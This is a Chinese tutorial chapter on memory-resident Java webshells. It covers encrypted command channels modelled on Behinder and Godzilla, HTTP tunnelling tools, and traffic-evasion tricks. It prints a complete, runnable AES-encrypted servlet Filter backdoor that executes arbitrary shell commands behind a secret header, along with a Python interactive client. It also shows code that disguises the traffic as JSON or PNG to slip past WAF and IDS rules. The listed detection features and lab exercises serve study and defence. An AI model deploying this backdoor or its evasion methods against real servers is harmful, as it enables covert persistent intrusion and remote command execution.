内存马 - 07 通信加密与隧道

注入只是第一步,如何安全稳定地通信才是实战关键。裸奔的 cmd 参数一抓包就暴露

为什么需要加密通信

裸奔内存马的问题

1
2
3
4
5
6
GET /index?cmd=whoami HTTP/1.1
Host: target.com

→ WAF 规则:参数中出现 "whoami" / "cat /etc/passwd" → 拦截
→ IDS 规则:响应中出现 "root:x:0:0" → 告警
→ 流量审计:明文命令和结果一目了然

加密通信目标

请求:加密后的数据,看不出是什么命令

响应:加密后的数据,看不出执行结果

流量特征:类似正常业务数据

冰蝎(Behinder)通信协议分析

核心思路

冰蝎使用 AES 对称加密 + 动态密钥协商

1
2
3
4
5
6
7
阶段1:密钥协商(冰蝎3.0+ 使用固定密钥,跳过协商)
Client GET /shell.jsp → Server 返回随机密钥 Key

阶段2:加密通信
Client → POST /shell.jsp
Body: AES_Encrypt(序列化的Java对象, Key)
Server → AES_Encrypt(执行结果, Key)

冰蝎式内存马的核心逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 密钥(冰蝎默认密钥是 "e45e329feb5d925b" = MD5("rebeyond")[:16])
private static final String KEY = "e45e329feb5d925b";

@Override
public void doFilter(ServletRequest req, ServletResponse resp,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) resp;

if (request.getHeader("X-Token") == null) {
chain.doFilter(req, resp);
return;
}

try {
// 1. 读取加密的请求体
byte[] requestBody = readBody(request);
// 2. AES 解密
byte[] decrypted = aesDecrypt(requestBody, KEY);
// 3. 动态加载并执行
// 冰蝎将每次请求的 payload 作为一个 Java 类传过来
// 服务端 defineClass 加载并执行
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> findClass(String name) {
return defineClass(name, decrypted, 0, decrypted.length);
}
};
Class<?> payloadClass = loader.loadClass("payload");

// 4. 加密响应
byte[] result = getResult(payloadClass);
byte[] encrypted = aesEncrypt(result, KEY);
response.getOutputStream().write(encrypted);
} catch (Exception e) {
chain.doFilter(req, resp);
}
}

冰蝎的强大之处

不是在服务端写死功能,而是每次请求都传一个 完整的 Java 类 过来执行:

执行命令 → 传一个命令执行的类

文件管理 → 传一个文件操作的类

数据库操作 → 传一个 JDBC 操作的类

这样服务端代码极简,功能无限扩展

哥斯拉(Godzilla)通信协议分析

与冰蝎的区别

维度 冰蝎 哥斯拉
加密方式 AES AES / XOR / RAW
Payload 传递 每次传完整类 传参数,服务端执行
编码方式 原始字节 Base64
流量特征 较固定 可定制
内存马支持 支持 支持且更灵活

哥斯拉式通信

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
String pass = "pass";    // 连接密码
String key = "key"; // 加密密钥
String md5Key = md5(key).substring(0, 16);

@Override
public void doFilter(...) {
String data = request.getParameter(pass);
if (data == null) { chain.doFilter(req, resp); return; }

// Base64 解码 → AES 解密
byte[] decoded = Base64.getDecoder().decode(data);
byte[] decrypted = aesDecrypt(decoded, md5Key);

// 解析并执行
String payload = new String(decrypted);
String result = executePayload(payload);

// 加密 → Base64 编码 → 响应
byte[] encrypted = aesEncrypt(result.getBytes(), md5Key);
String encodedResult = Base64.getEncoder().encodeToString(encrypted);

// 哥斯拉在响应前后加上 MD5 前后缀用于校验
String prefix = md5Key.substring(0, 16);
String suffix = md5Key.substring(16);
response.getWriter().write(prefix + encodedResult + suffix);
}

隧道代理技术

为什么需要隧道

1
2
3
4
5
6
7
场景:拿到了 DMZ 区的 Web 服务器,但内网其他机器不出网

外网攻击机 ←×→ 内网数据库服务器

解决:在 Web 服务器上建立 HTTP 隧道

外网攻击机 ←HTTP→ Web服务器(内存马隧道) ←TCP→ 内网数据库服务器

suo5 隧道原理(全双工 SOCKS5 代理)

suo5 使用 HTTP Chunked Transfer 实现全双工通信:

1
2
3
4
1. 客户端发起 HTTP 请求(Transfer-Encoding: chunked)
2. 服务端也以 chunked 响应
3. 双方在同一个 HTTP 连接上持续传输数据
4. 数据被封装为 SOCKS5 协议

隧道技术对比

工具 协议 全双工 效率 兼容性
suo5 HTTP Chunked 需支持 Chunked
Neo-reGeorg HTTP 短连接 非常好
pystinger HTTP
Suo5 WebSocket WebSocket 需支持 WS

流量特征与规避

常见检测规则

  1. POST 请求体是纯 Base64(冰蝎/哥斯拉特征)
  2. 响应体是纯 Base64
  3. Content-Type 与实际内容不匹配
  4. 固定长度的 AES 块特征(16字节对齐)
  5. 请求频率异常(短时间大量 POST)
  6. 特定 Header(X-Token, X-Key 等)

流量伪装思路

1
2
3
4
5
6
7
8
9
10
// 将加密数据嵌入看似正常的 JSON 响应中
response.setContentType("application/json");
String fakeResponse = "{\"code\":200,\"data\":\""
+ Base64.getEncoder().encodeToString(encryptedResult)
+ "\",\"msg\":\"success\"}";
response.getWriter().write(fakeResponse);

// 或伪装成图片
response.setContentType("image/png");
// PNG 文件头 + 加密数据嵌入 IDAT chunk

冰蝎协议深度分析

冰蝎 3.0 完整通信流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌─────────────┐                    ┌─────────────┐
│ Client │ │ Server │
│ (冰蝎客户端) │ │ (内存马) │
└──────┬──────┘ └──────┬──────┘
│ │
│ POST /any_url
Content-Type: application/
│ octet-stream │
Body: AES_ECB( │
│ 序列化的 Java 类字节码, │
│ key="e45e329feb5d925b"
│ ) │
│ ────────────────────────────────→ │
│ │ 1. AES 解密 Body
│ │ 2. defineClass 加载类
│ │ 3. newInstance 创建实例
│ │ 4. 调用 equals(pageContext)
│ │ 5. 获取执行结果
│ │ 6. AES 加密结果
200 OK │
Body: AES_ECB(结果, key) │
│ ←──────────────────────────────── │
│ │

冰蝎 Payload 类的接口约定

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 冰蝎传过来的每个 payload 类都实现这个模式:
// - 必须有 equals(Object) 方法
// - equals 的参数实际上是 PageContext(JSP场景)或自定义上下文
// - 执行结果写入 response

// 示例:命令执行 payload
public class CmdPayload {
@Override
public boolean equals(Object obj) {
// obj 实际是包含 request/response 的上下文对象
// 从中提取命令参数并执行
// 结果写入 response
return true;
}
}

冰蝎流量特征总结

特征 描述 检测规则
Content-Type application/octet-stream 正常业务很少用此类型
Body 长度 AES 加密后 16 字节对齐 Content-Length % 16 == 0
Body 熵值 加密数据熵接近 8(最大熵) 熵值 > 7.5 的 POST 请求
响应特征 响应也是高熵二进制数据 请求响应都是高熵
请求频率 短时间多次 POST 同一 URL 频率异常检测
User-Agent 冰蝎默认 UA 有特征 黑名单匹配

完整可运行的 AES 加密内存马

这是一个最小化但完整的加密通信 Filter 内存马,可以直接用于学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.*;
import java.io.*;
import java.util.Base64;

/**
* AES 加密通信 Filter 内存马
*
* 使用方式:
* 1. 请求任意 URL,添加 Header "X-Key: <密码>"
* 2. Body 为 Base64(AES(命令))
* 3. 响应为 Base64(AES(结果))
*
* 密钥派生:MD5(密码).substring(0, 16)
*/
public class EncryptedFilter implements Filter {
// 连接密码的 MD5 前16位作为 AES 密钥
// 示例密码 "test123" → MD5 = "cc03e747a6afbbcbf8be7668acfebee5"
// → key = "cc03e747a6afbbcb"
private static final String PASSWORD_MD5_PREFIX = "cc03e747a6afbbcb";

@Override
public void doFilter(ServletRequest req, ServletResponse resp,
FilterChain chain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) resp;

// 通过特定 Header 识别控制请求
String auth = request.getHeader("X-Key");
if (auth == null || !md5(auth).substring(0, 16).equals(PASSWORD_MD5_PREFIX)) {
chain.doFilter(req, resp); // 不是控制请求,正常放行
return;
}

try {
String key = md5(auth).substring(0, 16);

// 读取并解密请求体
byte[] body = readAll(request.getInputStream());
byte[] decoded = Base64.getDecoder().decode(body);
byte[] decrypted = aesDecrypt(decoded, key);
String cmd = new String(decrypted, "UTF-8");

// 执行命令
String os = System.getProperty("os.name").toLowerCase();
String[] cmds = os.contains("win")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
Process p = new ProcessBuilder(cmds).redirectErrorStream(true).start();
byte[] output = readAll(p.getInputStream());
p.waitFor();

// 加密并返回结果
byte[] encrypted = aesEncrypt(output, key);
String result = Base64.getEncoder().encodeToString(encrypted);

response.setContentType("text/html"); // 伪装为普通 HTML
response.getWriter().write(result);

} catch (Exception e) {
response.setStatus(500);
response.getWriter().write("Internal Server Error");
}
}

private byte[] aesEncrypt(byte[] data, String key) throws Exception {
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(data);
}

private byte[] aesDecrypt(byte[] data, String key) throws Exception {
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");
c.init(Cipher.DECRYPT_MODE, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(data);
}

private String md5(String input) throws Exception {
java.security.MessageDigest md = java.security.MessageDigest.getInstance("MD5");
byte[] d = md.digest(input.getBytes("UTF-8"));
StringBuilder sb = new StringBuilder();
for (byte b : d) sb.append(String.format("%02x", b & 0xff));
return sb.toString();
}

private byte[] readAll(InputStream in) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buf = new byte[4096];
int n;
while ((n = in.read(buf)) != -1) out.write(buf, 0, n);
return out.toByteArray();
}

@Override public void init(FilterConfig c) {}
@Override public void destroy() {}
}

配套客户端脚本(Python)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
"""加密内存马客户端 - 用于测试学习"""
import base64, hashlib, sys, requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

PASSWORD = "test123"
TARGET = "http://localhost:8080/"

def get_key(password):
return hashlib.md5(password.encode()).hexdigest()[:16]

def encrypt(data, key):
cipher = AES.new(key.encode(), AES.MODE_ECB)
return base64.b64encode(cipher.encrypt(pad(data.encode(), 16)))

def decrypt(data, key):
cipher = AES.new(key.encode(), AES.MODE_ECB)
return unpad(cipher.decrypt(base64.b64decode(data)), 16).decode()

if __name__ == "__main__":
key = get_key(PASSWORD)
while True:
cmd = input("shell> ").strip()
if cmd in ("exit", "quit"):
break
encrypted_cmd = encrypt(cmd, key)
resp = requests.post(TARGET, data=encrypted_cmd,
headers={"X-Key": PASSWORD})
print(decrypt(resp.text, key))

练习

  1. 将上面的加密 Filter 注入靶场,用 Python 客户端连接测试
  2. 用 BurpSuite 抓包,对比明文内存马和加密内存马的流量差异
  3. 分析冰蝎/哥斯拉的真实流量包,识别其特征
  4. 尝试修改加密方案:将 AES-ECB 改为 AES-CBC,对比安全性差异
  5. 思考:如何检测上面这种加密内存马?(提示:熵值分析、请求模式)

上一章 目录 下一章
06-检测与防御 内存马 08-中间件差异与高版本JDK